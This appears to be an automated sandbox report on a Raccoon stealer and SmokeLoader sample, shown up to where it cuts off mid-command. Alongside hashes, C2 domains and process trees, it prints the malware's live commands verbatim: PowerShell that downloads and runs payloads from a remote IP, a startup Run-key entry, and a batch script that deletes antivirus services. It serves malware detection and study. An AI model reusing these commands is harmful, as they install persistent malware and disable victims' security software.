raccoon | ca4bcfe479099c61e62b533e4ec5f667265ba2eb0884cbea492648ba3bdb8eb6

Analysis

max time kernel
151s
max time network
159s
platform
windows10_x64
resource
win10v20210408
submitted
13-08-2021 11:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

F4800660EB71CEAE41442CC4BFC4A37A.exe
Size

179KB
MD5

f4800660eb71ceae41442cc4bfc4a37a
SHA1

98a68484de7ff7189bd61d0c04fbba83f2c20e45
SHA256

ca4bcfe479099c61e62b533e4ec5f667265ba2eb0884cbea492648ba3bdb8eb6
SHA512

20d345977a881d370e6d712162ee3c75056816829f6877f5c70a5795ea0678fa2b2a4d20a64ad29c3bf7ecd96e5649bb30858bf4f1fc786f3520a14cc4c0e85a

Score

10^/10

raccoon smokeloader 471c70de3b4f9e4d493e418d1f60a90659057de0 cd8dc1031358b1aec55cc6bc447df1018b068607 backdoor evasion persistence phishing spyware stealer suricata trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://193.56.146.55/Api/GetFile2

Extracted

Family

smokeloader

Version

2020

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32

Extracted

Family

raccoon

Botnet

cd8dc1031358b1aec55cc6bc447df1018b068607

Attributes

url4cnc
https://telete.in/jagressor_kz

rc4.plain

Extracted

Family

raccoon

Botnet

471c70de3b4f9e4d493e418d1f60a90659057de0

Attributes

url4cnc
https://telete.in/p1rosto100xx

rc4.plain

Signatures

Detected phishing page
phishing
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Raccoon Stealer Payload 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1532-139-0x0000000004850000-0x00000000048E1000-memory.dmp	family_raccoon
behavioral2/memory/1532-143-0x0000000000400000-0x0000000002CA9000-memory.dmp	family_raccoon
behavioral2/memory/2784-192-0x0000000000400000-0x0000000000495000-memory.dmp	family_raccoon
behavioral2/memory/2784-193-0x000000000044003F-mapping.dmp	family_raccoon
behavioral2/memory/2784-197-0x0000000000400000-0x0000000000495000-memory.dmp	family_raccoon

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 3704 created 1532 3704 WerFault.exe D857.exe
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

1703 3460 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 6 IoCs

Processes:

CE62.exeD0C4.exeD4AD.exeD857.exeRuntimebroker.exeD4AD.exe

pid process

2216 CE62.exe
4060 D0C4.exe
3768 D4AD.exe
1532 D857.exe
668 Runtimebroker.exe
2784 D4AD.exe
Deletes itself 1 IoCs

Processes:

pid process

3020

description	pid	process	target process
PID 3704 created 1532	3704	WerFault.exe	D857.exe

flow	pid	process
1703	3460	powershell.exe

pid	process
2216	CE62.exe
4060	D0C4.exe
3768	D4AD.exe
1532	D857.exe
668	Runtimebroker.exe
2784	D4AD.exe

pid	process
3020

Drops startup file 3 IoCs

Processes:

cmd.exeRuntimebroker.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchostsw.exe	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sound device.lnk	Runtimebroker.exe

Loads dropped DLL 1 IoCs

Processes:

D4AD.exe

pid process

2784 D4AD.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2784	D4AD.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\Sound device = "Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile(('http://193.56.146.55/Ru'+'nti'+'m'+'ebr'+'oke'+'r.exe'),($env:TEMP+'\\Vp'+'nm.e'+'xe'));Start-Process ($env:TEMP+'\\V'+'pn'+'m.exe')"	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

F4800660EB71CEAE41442CC4BFC4A37A.exeD4AD.exe

description	pid	process	target process
PID 656 set thread context of 3512	656	F4800660EB71CEAE41442CC4BFC4A37A.exe	F4800660EB71CEAE41442CC4BFC4A37A.exe
PID 3768 set thread context of 2784	3768	D4AD.exe	D4AD.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 18 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
2164	2216	WerFault.exe	CE62.exe
2456	2216	WerFault.exe	CE62.exe
3148	1532	WerFault.exe	D857.exe
2092	2216	WerFault.exe	CE62.exe
1948	1532	WerFault.exe	D857.exe
196	2216	WerFault.exe	CE62.exe
1444	1532	WerFault.exe	D857.exe
3256	2216	WerFault.exe	CE62.exe
2392	1532	WerFault.exe	D857.exe
1060	2216	WerFault.exe	CE62.exe
3704	1532	WerFault.exe	D857.exe
2356	668	WerFault.exe	Runtimebroker.exe
2188	668	WerFault.exe	Runtimebroker.exe
2832	668	WerFault.exe	Runtimebroker.exe
516	668	WerFault.exe	Runtimebroker.exe
3460	668	WerFault.exe	Runtimebroker.exe
1164	668	WerFault.exe	Runtimebroker.exe
1196	2784	WerFault.exe	D4AD.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

F4800660EB71CEAE41442CC4BFC4A37A.exe

description	ioc	process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F4800660EB71CEAE41442CC4BFC4A37A.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F4800660EB71CEAE41442CC4BFC4A37A.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	F4800660EB71CEAE41442CC4BFC4A37A.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

F4800660EB71CEAE41442CC4BFC4A37A.exe

pid	process
3512	F4800660EB71CEAE41442CC4BFC4A37A.exe
3512	F4800660EB71CEAE41442CC4BFC4A37A.exe
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3020
Suspicious behavior: MapViewOfSection 19 IoCs

Processes:

F4800660EB71CEAE41442CC4BFC4A37A.exe

pid process

3512 F4800660EB71CEAE41442CC4BFC4A37A.exe
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020
3020

pid	process
3020

Suspicious use of AdjustPrivilegeToken 40 IoCs

Processes:

description	pid	process
Token: SeRestorePrivilege	2164	WerFault.exe
Token: SeBackupPrivilege	2164	WerFault.exe
Token: SeDebugPrivilege	2164	WerFault.exe
Token: SeDebugPrivilege	2456	WerFault.exe
Token: SeDebugPrivilege	3148	WerFault.exe
Token: SeDebugPrivilege	2092	WerFault.exe
Token: SeDebugPrivilege	1948	WerFault.exe
Token: SeDebugPrivilege	196	WerFault.exe
Token: SeDebugPrivilege	1444	WerFault.exe
Token: SeDebugPrivilege	3256	WerFault.exe
Token: SeDebugPrivilege	2392	WerFault.exe
Token: SeDebugPrivilege	1060	WerFault.exe
Token: SeDebugPrivilege	3704	WerFault.exe
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeDebugPrivilege	2356	WerFault.exe
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeDebugPrivilege	2188	WerFault.exe
Token: SeDebugPrivilege	2832	WerFault.exe
Token: SeDebugPrivilege	516	WerFault.exe
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeDebugPrivilege	1164	WerFault.exe
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeDebugPrivilege	3768	D4AD.exe
Token: SeDebugPrivilege	1196	WerFault.exe
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020
Token: SeShutdownPrivilege	3020
Token: SeCreatePagefilePrivilege	3020

Suspicious use of UnmapMainImage 1 IoCs

Processes:

pid process

3020

pid	process
3020

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

F4800660EB71CEAE41442CC4BFC4A37A.exeCE62.exeD0C4.exeRuntimebroker.exeD4AD.exe

description	pid	process	target process
PID 656 wrote to memory of 3512	656	F4800660EB71CEAE41442CC4BFC4A37A.exe	F4800660EB71CEAE41442CC4BFC4A37A.exe
PID 656 wrote to memory of 3512	656	F4800660EB71CEAE41442CC4BFC4A37A.exe	F4800660EB71CEAE41442CC4BFC4A37A.exe
PID 656 wrote to memory of 3512	656	F4800660EB71CEAE41442CC4BFC4A37A.exe	F4800660EB71CEAE41442CC4BFC4A37A.exe
PID 656 wrote to memory of 3512	656	F4800660EB71CEAE41442CC4BFC4A37A.exe	F4800660EB71CEAE41442CC4BFC4A37A.exe
PID 656 wrote to memory of 3512	656	F4800660EB71CEAE41442CC4BFC4A37A.exe	F4800660EB71CEAE41442CC4BFC4A37A.exe
PID 656 wrote to memory of 3512	656	F4800660EB71CEAE41442CC4BFC4A37A.exe	F4800660EB71CEAE41442CC4BFC4A37A.exe
PID 3020 wrote to memory of 2216	3020		CE62.exe
PID 3020 wrote to memory of 2216	3020		CE62.exe
PID 3020 wrote to memory of 2216	3020		CE62.exe
PID 3020 wrote to memory of 4060	3020		D0C4.exe
PID 3020 wrote to memory of 4060	3020		D0C4.exe
PID 3020 wrote to memory of 4060	3020		D0C4.exe
PID 3020 wrote to memory of 3768	3020		D4AD.exe
PID 3020 wrote to memory of 3768	3020		D4AD.exe
PID 3020 wrote to memory of 3768	3020		D4AD.exe
PID 3020 wrote to memory of 1532	3020		D857.exe
PID 3020 wrote to memory of 1532	3020		D857.exe
PID 3020 wrote to memory of 1532	3020		D857.exe
PID 3020 wrote to memory of 3952	3020		explorer.exe
PID 3020 wrote to memory of 3952	3020		explorer.exe
PID 3020 wrote to memory of 3952	3020		explorer.exe
PID 3020 wrote to memory of 3952	3020		explorer.exe
PID 3020 wrote to memory of 1824	3020		explorer.exe
PID 3020 wrote to memory of 1824	3020		explorer.exe
PID 3020 wrote to memory of 1824	3020		explorer.exe
PID 3020 wrote to memory of 2232	3020		explorer.exe
PID 3020 wrote to memory of 2232	3020		explorer.exe
PID 3020 wrote to memory of 2232	3020		explorer.exe
PID 3020 wrote to memory of 2232	3020		explorer.exe
PID 3020 wrote to memory of 808	3020		explorer.exe
PID 3020 wrote to memory of 808	3020		explorer.exe
PID 3020 wrote to memory of 808	3020		explorer.exe
PID 3020 wrote to memory of 1996	3020		explorer.exe
PID 3020 wrote to memory of 1996	3020		explorer.exe
PID 3020 wrote to memory of 1996	3020		explorer.exe
PID 3020 wrote to memory of 1996	3020		explorer.exe
PID 2216 wrote to memory of 668	2216	CE62.exe	Runtimebroker.exe
PID 2216 wrote to memory of 668	2216	CE62.exe	Runtimebroker.exe
PID 2216 wrote to memory of 668	2216	CE62.exe	Runtimebroker.exe
PID 3020 wrote to memory of 3876	3020		explorer.exe
PID 3020 wrote to memory of 3876	3020		explorer.exe
PID 3020 wrote to memory of 3876	3020		explorer.exe
PID 4060 wrote to memory of 1824	4060	D0C4.exe	cmd.exe
PID 4060 wrote to memory of 1824	4060	D0C4.exe	cmd.exe
PID 4060 wrote to memory of 1824	4060	D0C4.exe	cmd.exe
PID 3020 wrote to memory of 2464	3020		explorer.exe
PID 3020 wrote to memory of 2464	3020		explorer.exe
PID 3020 wrote to memory of 2464	3020		explorer.exe
PID 3020 wrote to memory of 2464	3020		explorer.exe
PID 3020 wrote to memory of 2160	3020		explorer.exe
PID 3020 wrote to memory of 2160	3020		explorer.exe
PID 3020 wrote to memory of 2160	3020		explorer.exe
PID 3020 wrote to memory of 2588	3020		explorer.exe
PID 3020 wrote to memory of 2588	3020		explorer.exe
PID 3020 wrote to memory of 2588	3020		explorer.exe
PID 3020 wrote to memory of 2588	3020		explorer.exe
PID 668 wrote to memory of 1836	668	Runtimebroker.exe	powershell.exe
PID 668 wrote to memory of 1836	668	Runtimebroker.exe	powershell.exe
PID 668 wrote to memory of 1836	668	Runtimebroker.exe	powershell.exe
PID 3768 wrote to memory of 2784	3768	D4AD.exe	D4AD.exe
PID 3768 wrote to memory of 2784	3768	D4AD.exe	D4AD.exe
PID 3768 wrote to memory of 2784	3768	D4AD.exe	D4AD.exe
PID 3768 wrote to memory of 2784	3768	D4AD.exe	D4AD.exe
PID 3768 wrote to memory of 2784	3768	D4AD.exe	D4AD.exe

C:\Users\Admin\AppData\Local\Temp\F4800660EB71CEAE41442CC4BFC4A37A.exe
"C:\Users\Admin\AppData\Local\Temp\F4800660EB71CEAE41442CC4BFC4A37A.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:656

C:\Users\Admin\AppData\Local\Temp\F4800660EB71CEAE41442CC4BFC4A37A.exe
"C:\Users\Admin\AppData\Local\Temp\F4800660EB71CEAE41442CC4BFC4A37A.exe"
2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:3512

C:\Users\Admin\AppData\Local\Temp\CE62.exe
C:\Users\Admin\AppData\Local\Temp\CE62.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 788
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 800
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 704
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 924
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 908
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3256

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 956
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:1060

C:\ProgramData\Runtimebroker.exe
"C:\ProgramData\Runtimebroker.exe"
2⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 668 -s 732
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 668 -s 784
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2188

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 668 -s 764
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:2832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 668 -s 796
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 668 -s 968
3⤵
- Program crash
PID:3460

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 668 -s 1008
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:1164

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
PID:1836

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://193.56.146.55/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
3⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:3460

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1444

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add 